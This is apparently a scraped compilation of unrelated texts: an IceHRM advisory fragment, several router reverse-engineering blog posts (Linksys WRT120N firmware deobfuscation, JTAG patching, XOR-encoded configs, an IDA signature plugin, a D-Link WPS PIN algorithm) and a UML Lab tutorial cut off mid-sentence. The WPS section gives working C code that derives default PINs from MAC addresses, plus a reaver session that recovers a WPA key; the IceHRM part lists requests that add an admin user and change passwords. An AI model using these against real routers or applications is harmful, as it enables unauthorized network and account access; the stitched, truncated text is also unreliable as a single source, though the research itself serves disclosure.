req={"map":"{\"nationality\":[\"Nationality\",\"id\",\"name\"],\"employment_status\":[\"EmploymentStatus\",\"id\",\"name\"],\"job_title\":[\"JobTitle\",\"id\",\"name\"],\"pay_grade\":[\"PayGrade\",\"id\",\"name\"],\"country\":[\"Country\",\"code\",\"name\"],\"province\":[\"Province\",\"id\",\"name\"],\"department\":[\"CompanyStructure\",\"id\",\"title\"],\"supervisor\":[\"Employee\",\"id\",\"first_name+last_name\"]}"} Add new admin user: [url]http://localhost/icehrm/app/service.php[/url] POST username=test5&email=test5%40zeroscience.mk&employee=1&user_level=Admin&a=add&t=User Change password of user: [url]http://localhost/icehrm/app/service.php?[/url] GET t=User a=ca sa=changePassword mod=admin=users req={"id":5,"pwd":"newpass"} Add/edit modules: [url]http://localhost/icehrm/app/service.php[/url] POST t=Module&a=get&sm=%7B%7D&ft=&ob= Severity: LOW ##################################################### Source

Am gasit pe un site aceasta lista. Baudrate bflt-utils Binwalk IDAPathFinder IDAScript IDA Scripts/Plugins libmpsse

It was recently brought to my attention that the firmware updates for the Linksys WRT120N were employing some unknown obfuscation. I thought this sounded interesting and decided to take a look. The latest firmware update for the WRT120N didn’t give me much to work with: Binwalk firmware update analysis As you can see, there is a small LZMA compressed block of data; this turned out to just be the HTML files for the router’s web interface. The majority of the firmware image is unidentified and very random. With nothing else to go on, curiosity got the best of me and I ordered one (truly, Amazon Prime is not the best thing to ever happen to my bank account). Hardware Analysis A first glance at the hardware showed that the WRT120N had a Atheros AR7240 SoC, a 2MB SPI flash chip, 32MB of RAM, and what appeared to be some serial and JTAG headers: WRT120N PCB Looking to get some more insight into the device’s boot process, I started with the serial port: UART Header I’ve talked about serial ports in detail elsewhere, so I won’t dwell on the methods used here. However, with a quick visual inspection and a multimeter it was easy to identify the serial port’s pinout as: Pin 2 – RX Pin 3 – TX Pin 5 – Ground The serial port runs at 115200 baud and provided some nice debug boot info: $ sudo miniterm.py /dev/ttyUSB0 115200 --- Miniterm on /dev/ttyUSB0: 115200,8,N,1 --- --- Quit: Ctrl+] | Menu: Ctrl+T | Help: Ctrl+T followed by Ctrl+H --- ======================================================================= Wireless Router WG7005G11-LF-88 Loader v0.03 build Feb 5 2009 15:59:08 Arcadyan Technology Corporation ======================================================================= flash MX25L1605D found. Copying boot params.....DONE Press Space Bar 3 times to enter command mode ... Flash Checking Passed. Unzipping firmware at 0x80002000 ... [ZIP 3] [ZIP 1] done In c_entry() function ... install_exception install exception handler ... install interrupt handler ... ulVal: 0x484fb Set GPIO #11 to OUTPUT Set GPIO #1 to OUTPUT Set GPIO #0 to OUTPUT Set GPIO #6 to INPUT Set GPIO #12 to INPUT Timer 0 is requested ##### _ftext = 0x80002000 ##### _fdata = 0x80447420 ##### __bss_start = 0x804D5B04 ##### end = 0x81869518 ##### Backup Data from 0x80447420 to 0x81871518~0x818FFBFC len 583396 ##### Backup Data completed ##### Backup Data verified [INIT] HardwareStartup .. [INIT] System Log Pool startup ... [INIT] MTinitialize .. CPU Clock 350000000 Hz init_US_counter : time1 = 270713 , time2 = 40272580, diff 40001867 US_counter = 70 cnt1 41254774 cnt2 41256561, diff 1787 Runtime code version: v1.0.04 System startup... [INIT] Memory COLOR 0, 1600000 bytes .. [INIT] Memory COLOR 1, 1048576 bytes .. [INIT] Memory COLOR 2, 2089200 bytes .. [INIT] tcpip_startup .. Data size: 1248266 e89754967e337d9f35e8290e231c9f92 Set flash memory layout to Boot Parameters found !!! Bootcode version: v0.03 Serial number: JUT00L602233 Hardware version: 01A ... The firmware looked to have been made by Arcadyan, and the ‘Unzipping firmware…’ message was particularly interesting; a bit of Googling turned up this post on reversing Arcadyan firmware obfuscation, though it appears to be different from the obfuscation used by the WRT120N. The only interaction with the serial port was via the bootloader menu. During bootup you can break into the bootloader menu (press the space bar three times when prompted) and perform a few actions, like erasing flash and setting board options: Press Space Bar 3 times to enter command mode ...123 Yes, Enter command mode ... [WG7005G11-LF-88 Boot]:? ====================== [U] Upload to Flash [E] Erase Flash [G] Run Runtime Code [A] Set MAC Address [#] Set Serial Number [V] Set Board Version [H] Set Options [P] Print Boot Params [I] Load ART From TFTP [1] Set SKU Number [2] Set PIN Number ====================== Unfortunately, the bootloader doesn’t appear to provide any options for dumping the contents of RAM or flash. Although there is a JTAG header on the board, I opted for dumping the flash chip directly since JTAG dumps tend to be slow, and interfacing directly with SPI flash is trivial. Pretty much anything that can speak SPI can be used to read the flash chip; I used an FTDI C232HM cable and the spiflash.py utility included with libmpsse: $ sudo spiflash --read=flash.bin --size=$((0x200000)) --verify FT232H Future Technology Devices International, Ltd initialized at 15000000 hertz Reading 2097152 bytes starting at address 0x0...saved to flash.bin. Verifying...success. The flash chip contains three LZMA compressed blocks and some MIPS code, but the main firmware image is still unknown: Flash analysis The first two blocks of LZMA compressed data are part of an alternate recovery image, and the MIPS code is the bootloader. Besides some footer data, the rest of the flash chip simply contains a verbatim copy of the firmware update file. Bootloader Analysis The bootloader, besides being responsible for de-obfuscating and loading the firmware image into memory, contains some interesting tidbits. I’ll skip the boring parts in which I find the bootloader’s load address, manually identify standard C functions, resolve jump table offsets, etc, and get to the good stuff. First, very early in the boot process, the bootloader checks to see if the reset button has been pressed. If so, it starts up the “Tiny_ETCPIP_Kernel” image, which is the small LZMA-compressed recovery image, complete with a web interface: Unzipping Tiny Kernel This is nice to know; if you ever end up with a bad firmware update, holding the reset button during boot will allow you to un-brick your router. There is also a hidden administrator mode in the bootloader’s UART menu: Hidden bootloader menu Entering an option of ! will enable “administrator mode”; this unlocks a few other options, including the ability to read and write to memory: [WG7005G11-LF-88 Boot]:! Enter Administrator Mode ! ====================== [U] Upload to Flash [E] Erase Flash [G] Run Runtime Code [M] Upload to Memory [R] Read from Memory [W] Write to Memory [Y] Go to Memory [A] Set MAC Address [#] Set Serial Number [V] Set Board Version [H] Set Options [P] Print Boot Params [I] Load ART From TFTP [1] Set SKU Number [2] Set PIN Number ====================== [WG7005G11-LF-88 Boot]: The most interesting part of the bootloader, of course, is the code that loads the obfuscated firmware image into memory. Obfuscation Analysis De-obfuscation is performed by the load_os function, which is passed a pointer to the obfuscated image as well as an address where the image should be copied into memory: The de-obfuscation routine inside load_os is not complicated: De-obfuscation routine Basically, if the firmware image starts with the bytes 04 01 09 20 (which our obfuscated firmware image does), it enters the de-obfuscation routine which: Swaps the two 32-byte blocks of data at offsets 0x04 and 0x68. Nibble-swaps the first 32 bytes starting at offset 0x04 Byte-swaps each of the adjacent 32 bytes starting at offset 0x04 At this point, the data at offset 0x04 contains a valid LZMA header, which is then decompressed. Implementing a de-obfuscation tool was trivial, and the WRT120N firmware can now be de-obfuscated and de-compressed: $ ./wrt120n ./firmware/FW_WRT120N_1.0.07.002_US.bin ./deobfuscated.bin Doing block swap... Doing nibble-swap... Doing byte-swap... Saving data to ./deobfuscated.bin... Done! Analysis of de-obfuscated firmware The de-obfuscation utility can be downloaded here for those interested. Source

After de-obfuscating the WRT120N’s firmware, I started taking a closer look at the code, which runs the now-defunct SuperTask! RTOS. Thanks in no small part to copious debug strings littered throughout the code and some leaked Atheros datasheets, I made good progress in statically disassembling the code. The next step was to start debugging the system while exercising some of the router’s services. The WRT120N does have a JTAG port (labeled J8), which appears to conform to the MIPS EJTAG standard header: The WRT120N JTAG header It didn’t work right out of the box though: $ sudo openocd -f flyswatter2.cfg -f wrt120n.cfg Open On-Chip Debugger 0.7.0 (2014-01-05-12:41) Licensed under GNU GPL v2 For bug reports, read http://openocd.sourceforge.net/doc/doxygen/bugs.html Info : only one transport option; autoselect 'jtag' adapter speed: 6000 kHz trst_and_srst separate srst_gates_jtag trst_push_pull srst_open_drain connect_deassert_srst trst_and_srst separate srst_nogate trst_push_pull srst_open_drain connect_assert_srst adapter_nsrst_delay: 100 jtag_ntrst_delay: 100 mips.cpu Info : max TCK change to: 30000 kHz Info : clock speed 6000 kHz Error: JTAG scan chain interrogation failed: all ones Error: Check JTAG interface, timings, target power, etc. Error: Trying to use configured scan chain anyway... Error: mips.cpu: IR capture error; saw 0x1f not 0x01 Warn : Bypassing JTAG setup events due to errors Error: Error writing unexpected address 0xffffffff Error: Error writing unexpected address 0xffffffff Error: Error writing unexpected address 0xffffffff Error: Error writing unexpected address 0xffffffff It turns out that JTAG has been disabled in hardware and in software on the WRT120N. Luckily both were relatively easy to fix. Patching the Hardware One of the simplest ways to disable JTAG is to remove jumpers, and that’s exactly what has been done here: Missing R356 0-ohm jumper The TDI pin on the JTAG header (pin 2) has been disconnected from the rest of the system by simply removing jumper R356. This was easily remedied with a quick solder blob: After some probing, I found that this is due to the hardware design of the WRT120N: the reset button has been connected to the JTAG TDI pin on the AR7240 SoC. It is common for systems to allow JTAG pins to be re-configured as GPIO pins, so this is not un-heard of. However, this means that JTAG is likely being disabled in software. Additionally, when depressed, the reset button asserts this pin low; the TDI line driven from my JTAG adapter also idles low. This means that whenever the JTAG adapter was connected to the JTAG header, the system thought that the reset button had been pressed. I obviously didn’t want JTAG to be disabled, nor did I want the system continually resetting during a debug session. But, since I couldn’t magically redefine hardware pins, these were issues that had to be addressed in software. Patching the Bootloader The first firmware patch I needed to make was to the bootloader. As seen , the bootloader checks the reset pin, and if asserted, it boots into a recovery image instead of booting the main image: http://www.devttys0.com/wp-content/uploads/2014/02/calling_check_reset_button.png' alt='calling_check_reset_button.png'> if(check_reset_button() != 0) goto load_main_image; Since the JTAG adapter pulls the TDI line low, the bootloader wouldn’t even boot the main OS with the JTAG adapter connected; it thought the reset button had been pushed and loaded the recovery image instead! There were two solutions to this problem. First, I could simply set a breakpoint on this conditional branch and change the register contents so that the recovery image is never loaded. Besides being a PITA, this approach turned out to be impractical due to the following piece of earlier code: Setting the RESET_SWITCH bit in the CPU_CLOCK_CONTROL register This code is executed very early in the boot process and is in part responsible for configuring the system’s PLL clock. Specifically, the code snippet above sets bit 0 (the RESET_SWITCH bit) in the CPU_CLOCK_CONTROL register; according to the datasheet, this generates a CPU reset, causing the debugger to lose control of execution: What this means is that I would have to enter JTAG debug mode after the PLL was configured, but before the reset button was checked; a race condition that was difficult to reliably to win. Instead, I opted to simply patch the bootloader on the flash chip. The check_reset_button function masks out bit 6 of the GPIO_IN register (aka, the TDI pin) by performing a logical AND with 0x40; if that pin is low, the function returns 0 (reset button depressed), else it returns non-zero: The check_reset_button function I changed this from a logical AND to a logical OR, ensuring that check_reset_button always returns non-zero regardless of the actual state of the pin. This is just a one bit change to the instruction opcode: The modified check_reset_button function Desoldering the flash chip and overwriting the bootloader with this patch got me past the bootloader and into the main OS: > bp 0x800081ac 4 hw breakpoint set at 0x800081ac > resume target state: halted target halted in MIPS32 mode due to breakpoint, pc: 0x800081ac However, JTAG debugging was killed shortly thereafter, and the serial console was spammed with “Reset button held…” messages: Reset button held 0 Reset button held 1 Reset button held 2 Reset button held 3 Reset button held 4 Reset button held 5 Reset button held 6 Reset button held 7 Reset button held 8 Reset button held 9 ... Patching the OS Something in the OS was disabling JTAG, and the culprit was found in the configure_peripherals function: GPIO_FUNCTION_1.EJTAG_DISABLE = 1 This code is responsible for setting the EJTAG_DISABLE bit inside the GPIO_FUNCTION_1 register. According to the datasheet, this will: This was easily fixed by simply nopping out the ori instruction that was used to set the EJTAG_DISABLE bit: [img[http://www.devttys0.com/wp-content/uploads/2014/02/disable_jtag_in_software_PATCHED.png EJTAG_DISABLE bit patched For good measure, I also went ahead and nopped out the function call to gpio_tris that configures GPIO#6 (aka, TDI) as a GPIO input: gpio_tris(GPIO6, INPUT); Call to gpio_tris nopped And got rid of that pesky reset button check that was spamming my serial console as well: if(read_gpio_pin(6) != 0) goto reset_not_depressed; if(1 != 0) goto reset_not_depressed; Re-building the Firmware Image Having patched the OS, I needed to write it back to the flash chip. Not wanting to de-solder the flash chip yet again, I opted to apply the patches via a firmware update. Since the OS image had been modified, I first needed to figure out the checksum for the firmware update file. It turns out that it is a standard CRC32 checksum that is stored in the firmware footer: The crc32 function being called from cgi_upgrade The checksum field itself is set to 0xFFFFFFFF at the time of calculation, and the checksum is calculated over the entire firmware update file, except for the board ID string at the very end. So, putting everything together, I just needed to: Re-compress the modified OS image Concatenate the LZMA compressed web files and firmware footer with the compressed, modified OS image Re-obfuscate the firmware image Re-calculate and patch the checksum I threw together a little script to automate this; it’s super hacky, but works so long as I don’t change the size of the decompressed OS image. After buggering it up the first time, I recovered the system and flashed the modified firmware image through the router’s web interface. After a reboot, lo and behold, JTAG was up and running without issues: > halt target state: halted target halted in MIPS32 mode due to debug-request, pc: 0x800045a4 > reg ===== mips32 registers (0) zero (/32): 0x00000000 (1) at (/32): 0x804E0000 (2) v0 (/32): 0x00000000 (3) v1 (/32): 0x805BD6E4 (4) a0 (/32): 0x803D0000 (5) a1 (/32): 0x0000000A (6) a2 (/32): 0x805BD57C (7) a3 (/32): 0x806BD190 (8) t0 (/32): 0x80003F28 (9) t1 (/32): 0x00000000 (10) t2 (/32): 0x00000050 (11) t3 (/32): 0x807D7CA0 (12) t4 (/32): 0x00000109 (13) t5 (/32): 0x00000000 (14) t6 (/32): 0xEFFFFFFA (15) t7 (/32): 0x00000001 (16) s0 (/32): 0x80A3E42C (17) s1 (/32): 0x0000000A (18) s2 (/32): 0x00000050 (19) s3 (/32): 0x80196100 (20) s4 (/32): 0xFEDFFE95 (21) s5 (/32): 0xB9DFDFDF (22) s6 (/32): 0xFEFFDD37 (23) s7 (/32): 0xDEDFFBC9 (24) t8 (/32): 0x00000000 (25) t9 (/32): 0x3548A4A8 (26) k0 (/32): 0x0000FC03 (27) k1 (/32): 0xFFFFFFFE (28) gp (/32): 0x804DA890 (29) sp (/32): 0x80820870 (30) fp (/32): 0x7EFFEFCF (31) ra (/32): 0x80003FFC (32) status (/32): 0x0000FC01 (33) lo (/32): 0x851EBB0A (34) hi (/32): 0x0000031B (35) badvaddr (/32): 0xACED8496 (36) cause (/32): 0x10004400 (37) pc (/32): 0x800045A4 > I’ve placed a copy of the modified firmware image up on github, along with the script used to build it. Note that this will not patch the bootloader, although upgrading the bootloader via a firmware update does appear to be supported; I’ll leave that as an exercise to the reader. Source

Perusing the release notes for the latest Linksys WRT120N firmware, one of the more interesting comments reads: Having previously reversed their firmware obfuscation and patched their code to re-enable JTAG debugging, I thought that surely I would be able to use this access to reverse the new encryption algorithm used to secure their backup configuration files. Boy was I giving them way too much credit. Here’s a diff of two backup configuration files from the WRT120N. The only change made between backups was that the administrator password was changed from “admin” in backup_config_1.bin to “aa” in backup_config_2.bin: OFFSET backup_config_1.bin backup_config_2.bin ---------------------------------------------------------------------------------------- 0x00001468 9E 9B 92 96 91 FF FF FF |........| / 9E 9E FF FF FF FF FF FF |........| Two things to note here: The first letter of each password (“a”) is encrypted to the same value (0x9E) The same letter (“a”) is encrypted to the same value (0x9E), regardless of its position in the password I immediately suspected some sort of simple single-byte XOR encryption. If true, then XORing the known plain text (“a”, aka, 0x61) with the known cipher text (0x9E) should produce the XOR key: 0x61 ^ 0x9E = 0xFF Applying the XOR key of 0xFF to the other characters in the password gives us: 0x9E ^ 0xFF = a 0x9B ^ 0xFF = d 0x92 ^ 0xFF = m 0x96 ^ 0xFF = i 0x91 ^ 0xFF = n And XORing every byte in the config file with 0xFF gives us a decrypted config file: 00000000 33 34 35 36 00 01 df 60 00 00 46 ec 76 31 2e 30 |3456...`..F.v1.0| 00000010 2e 30 37 00 00 00 00 00 00 00 00 00 00 00 00 00 |.07.............| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 57 52 54 31 |............WRT1| 00000030 32 30 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 |20N.............| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000080 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00 |admin...........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 61 64 6d 69 6e 00 00 00 |........admin...| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000100 00 00 00 00 00 00 00 00 30 2e 30 2e 30 2e 30 00 |........0.0.0.0.| 00000110 00 00 00 00 00 00 00 00 01 01 01 00 00 00 00 01 |................| 00000120 00 00 00 01 00 00 00 00 00 00 00 08 32 39 34 38 |............2948| 00000130 33 31 30 35 00 01 00 00 00 31 39 32 2e 31 36 38 |3105.....192.168| 00000140 2e 31 2e 31 00 00 00 00 00 32 35 35 2e 32 35 35 |.1.1.....255.255| 00000150 2e 32 35 35 2e 30 00 00 00 00 00 00 04 00 02 00 |.255.0..........| 00000160 01 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 4f |..............LO| 00000170 4f 50 42 41 43 4b 00 00 00 00 31 32 37 2e 30 2e |OPBACK....127.0.| 00000180 30 2e 31 00 00 00 00 00 00 00 32 35 35 2e 32 35 |0.1.......255.25| 00000190 35 2e 32 35 35 2e 32 35 35 00 00 00 00 00 00 00 |5.255.255.......| 000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001b0 00 00 00 00 49 52 51 3d 30 20 50 4f 52 54 3d 30 |....IRQ=0 PORT=0| 000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| ... This is truly atrocious. Given that “encrypting” the backup configuration files is done presumably to protect end users, expecting this to thwart any attacker and touting it as a product feature is unforgivable. OK, I don’t really care that much. I’m just disappointed that it took longer to write this blog post than it did to break their “crypto”. Source

When reversing embedded code, it is often the case that completely different devices are built around a common code base, either due to code re-use by the vendor, or through the use of third-party software; this is especially true of devices running the same Real Time Operating System. For example, I have two different routers, manufactured by two different vendors, and released about four years apart. Both devices run VxWorks, but the firmware for the older device included a symbol table, making it trivial to identify most of the original function names: The older device with the symbol table is running VxWorks 5.5, while the newer device (with no symbol table) runs VxWorks 5.5.1, so they are pretty close in terms of their OS version. However, even simple functions contain a very different sequence of instructions when compared between the two firmwares: strcpy from the VxWorks 5.5 firmware strcpy from the VxWorks 5.5.1 firmware Of course, binary variations can be the result of any number of things, including differences in the compiler version and changes to the build options. Despite this, it would still be quite useful to take the known symbol names from the older device, particularly those of standard and common subroutines, and apply them to the newer device in order to facilitate the reversing of higher level functionality. Existing Solutions The IDB_2_PAT plugin will generate FLIRT signatures from the IDB with a symbol table; IDA’s FLIRT analysis can then be used to identify functions in the newer, symbol-less IDB: Functions identified by IDA FLIRT analysis With the FLIRT signatures, IDA was able to identify 164 functions, some of which, like os_memcpy and udp_cksum, are quite useful. Of course, FLIRT signatures will only identify functions that start with the same sequence of instructions, and many of the standard POSIX functions, such as printf and strcmp, were not found. Because FLIRT signatures only examine the first 32 bytes of a function, there are also many signature collisions between similar functions, which can be problematic: ;--------- (delete these lines to allow sigmake to read this file) ; add '+' at the start of a line to select a module ; add '-' if you are not sure about the selection ; do nothing if you want to exclude all modules div_r 54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF ldiv_r 54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF proc_sname 00 0000 0000102127BDFEF803E0000827BD0108................................ proc_file 00 0000 0000102127BDFEF803E0000827BD0108................................ atoi 00 0000 000028250809F52A2406000A........................................ atol 00 0000 000028250809F52A2406000A........................................ PinChecksum FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD wps_checksum1 FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD wps_checksum2 FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD _d_cmp FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF _d_cmpe FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF _f_cmp A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824 _f_cmpe A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824 m_get 00 0000 00803021000610423C04803D8C8494F0................................ m_gethdr 00 0000 00803021000610423C04803D8C8494F0................................ m_getclr 00 0000 00803021000610423C04803D8C8494F0................................ ... Alternative Signature Approaches Examining the functions between the two VxWorks firmwares shows that there are a small fraction (about 3%) of unique subroutines that are identical between both firmware images: bcopy from the VxWorks 5.5 firmware bcopy from the VxWorks 5.5.1 firmware Signatures can be created over the entirety of these functions in order to generate more accurate fingerprints, without the possibility of collisions due to similar or identical function prologues in unrelated subroutines. Still other functions are very nearly identical, as exemplified by the following functions which only differ by a couple of instructions: A function from the VxWorks 5.5 firmware The same function, from the VxWorks 5.5.1 firmware A simple way to identify these similar, but not identical, functions in an architecture independent manner is to generate “fuzzy” signatures based only on easily identifiable actions, such as memory accesses, references to constant values, and function calls. In the above function for example, we can see that there are six code blocks, one which references the immediate value 0xFFFFFFFF, one which has a single function call, and one which contains two function calls. As long as no other functions match this “fuzzy” signature, we can use these unique metrics to identify this same function in other IDBs. Although this type of matching can catch functions that would otherwise go unidentified, it also has a higher propensity for false positives. A bit more reliable metric is unique string references, such as this one in gethostbyname: gethostbyname string xref Likewise, unique constants can also be used for function identification, particularly subroutines related to crypto or hashing: Constant 0x41C64E6D used by rand Even identifying functions whose names we don’t know can be useful. Consider the following code snippet in sub_801A50E0, from the VxWorks 5.5 firmware: Function calls from sub_801A50E0 This unidentified function calls memset, strcpy, atoi, and sprintf; hence, if we can find this same function in other VxWorks firmware, we can identify these standard functions by association. Alternative Signatures in Practice I wrote an IDA plugin to automate these signature techniques and apply them to the VxWorks 5.5.1 firmware: Output from the Rizzo plugin This identified nearly 1,300 functions, and although some of those are probably incorrect, it was quite successful in locating many standard POSIX functions: Functions identified by Rizzo Like any such automated process, this is sure to produce some false positives/negatives, but having used it successfully against several RTOS firmwares now, I’m quite happy with it (read: “it works for me”!). Source

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers: Call to sub_4D56F8 from getWPSPinCode I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router. The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case: The beginning of sub_4D56F8 This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here): Break out the MAC and start munging the NIC While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example: li $v0, 0x38E38E39 multu $a3, $v0 ... mfhi $v0 srl $v0, 1 Directly converted into C, this reads: v0 = ((a3 * 0x38E38E39) >> 32) >> 1; Which is just a fancy way of dividing by 9: v0 = a3 / 9; Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight. However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address: unsigned int generate_default_pin(char *buf) { char *mac; char mac_address[32] = { 0 }; unsigned int oui, nic, pin; /* Get a pointer to the WAN MAC address */ mac = lockAndGetInfo_log()->wan_mac_address; /* * Create a local, NULL-terminated copy of the WAN MAC (simplified from * the original code's sprintf/memmove loop). */ sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], mac[6], mac[7], mac[8], mac[9], mac[10], mac[11]); /* * Convert the OUI and NIC portions of the MAC address to integer values. * OUI is unused, just need the NIC. */ sscanf(mac_address, "%06X%06X", &oui, &nic); /* Do some XOR munging of the NIC. */ pin = (nic ^ 0x55AA55); pin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)); /* * The largest possible remainder for any value divided by 10,000,000 * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. */ pin = pin % 10000000; /* The pin needs to be at least 7 digits long */ if(pin < 1000000) { /* * The largest possible remainder for any value divided by 9 is * 8; hence this adds at most 9,000,000 to the pin value, and at * least 1,000,000. This guarantees that the pin will be 7 digits * long, and also means that it won't start with a 0. */ pin += ((pin % 9) * 1000000) + 1000000; } /* * The final 8 digit pin is the 7 digit value just computed, plus a * checksum digit. Note that in the disassembly, the wps_pin_checksum * function is inlined (it's just the standard WPS checksum implementation). */ pin = ((pin * 10) + wps_pin_checksum(pin)); sprintf(buf, "%08d", pin); return pin; } Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture: $ sudo airodump-ng mon0 -c 4 CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6 $ ./pingen C0:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1 Default Pin: 99767389 $ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389 Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> [+] Waiting for beacon from C0:A0:BB:EF:B3:D6 [+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6) [+] WPS PIN: '99767389' [+] WPA PSK: 'hluig79268' [+] AP SSID: 'dlink-B3D6' But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices: Confirmed Affected: DIR-810L DIR-826L DIR-632 DHP-1320 DIR-835 DIR-615 revs: B2, C1, E1, E3 DIR-657 DIR-827 DIR-857 DIR-451 DIR-655 revs: A3, A4, B1 DIR-825 revs: A1, B1 DIR-651 DIR-855 DIR-628 DGL-4500 DIR-601 revs: A1, B1 DIR-836L DIR-808L DIR-636L DAP-1350 DAP-1555 Confirmed Unaffected: DIR-815 DIR-505L DIR-300 DIR-850L DIR-412 DIR-600 DIR-685 DIR-817LW DIR-818LW DIR-803 DIR-845L DIR-816L DIR-860L DIR-645 DIR-685 DAP-1522 Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro. Source

Code Styles are a unique concept of UML Lab to adapt both code generation and reverse engineering at the same time. To do so, Code Styles combine code templates with UML profiles in an easily usable way. For example, a Code Style can implement specific requirements on how to generate a field's accessor methods like getter and setter. To do so, it redefines the relevant getter and setter templates, but leaves the rest of the template set unmodified. Therefore, subtle changes to the code generation do not require duplication of large template parts, but can be easily accomplished with low effort. Likewise a Code Style improves abstraction when reverse engineering code. By defining templates to match specific code blocks, implementation details can be hidden from the model which would otherwise show up as additional attributes, operations, et cetera. This tutorial shows how to create your own custom Code Style. Prerequisites This tutorial assumes basic familiarity with UML Lab. If you have not taken the UML Lab Tour yet, this might be a good time to do so to get familiar with UML Lab's core functionality. You can start the tour by choosing Help > Cheat Sheets… and selecting UML Lab Tour from the cheat sheet list. Setting up the example In this section, we will set up the example project and investigate some unwanted implementation details in the model, which will be the starting point for our new Code Style. First of all, import some sample code to work with. Select File > New > Example…, choose Code Style Example and click Finish. The example code is similar to the Shop Example shown in the UML Lab Tour, but does not contain persistence annotations. Instead, the code reveals some implementation details which we don't want to see on the model level. Reverse engineer the source code by right-clicking on the Code Style Example project and choosing File > New > UML Model and Class Diagram. Click on Finish to complete the wizard. After the Reverse Engineering has finished, add the class Employee to the class diagram by double-clicking it in the presented dialog. Then use the fly-out buttons to add its associated classes. In the generated diagram, all classes reference the Logger class, which makes the diagram hard to read. To clean up the diagram, you could just right-click the Logger class and select Hide Element. This will hide the Logger and replace the references with a log property in the referencing classes. While this gets the diagram cleaned up easily, it would be better to increase the abstraction level of the model instead of manually hiding elements to get a better overview. We can achieve that by creating a new Code Style that captures the logging concept and abstracts from the logging implementation in the model. Creating a Code Style Project To create a custom Code Style, we first need a new Code Style project. The Code Style Project Wizard will guide us through the project creation and create a starting point for our customization. Choose File > New > Other…, select UML Lab > Code Style Project and click Next. First we need a name for our new project. Enter Logger in the project name field. Click Next to advance to the next page. On the final wizard page, the name for our custom Code Style is already preconfigured with the project name Logger. If you chose something else for your project name, please change the Code Style name to Logger here. Next, we need to decide which existing Code Style to base our customization on. Since we don't want to get into advanced topics like JPA for now, just use the pre-selected standard Code Style. Now, we choose the code templates we would like to redefine for the target language. Don't worry, you can always add more templates to redefine later on. For now, let's start with recognizing the log property as an implementation detail of all classes annotated with our new Logger style. For that, we need to pick the appropriate templates to customize. The target language already defaults to java, which is just fine. The log field is a class member, which is located somewhere in the source code of a class. If you inspect the example classes, you will notice that its position indeed varies. The template for this kind of code snippet can be found in the File.xpt file, which is used to generate class-specific parts. Expand that node in the tree. Specific elements, which appear in the source code class but should not be represented in the model, are called additionalMember in UML Lab. Select the Fragment Single entry under Template additionalMember from the tree. Click Finish to create the Code Style project and prepare the template file. Adapting to existing code Having created the Code Style project, we can now start adapting the new style to better match our existing code base. UML Lab uses code templates to specify a mapping between model and source code. Those templates can be easily derived from existing source code. Unlike classic MDSD tools, UML Lab uses the same templates to reverse engineer your source code. This means that by teaching UML Lab how to generate implementation details from a more abstract model, the tool also learns how to reverse engineer such a clean model from our code. In our example, we will now teach UML Lab, how to generate the omnipresent log 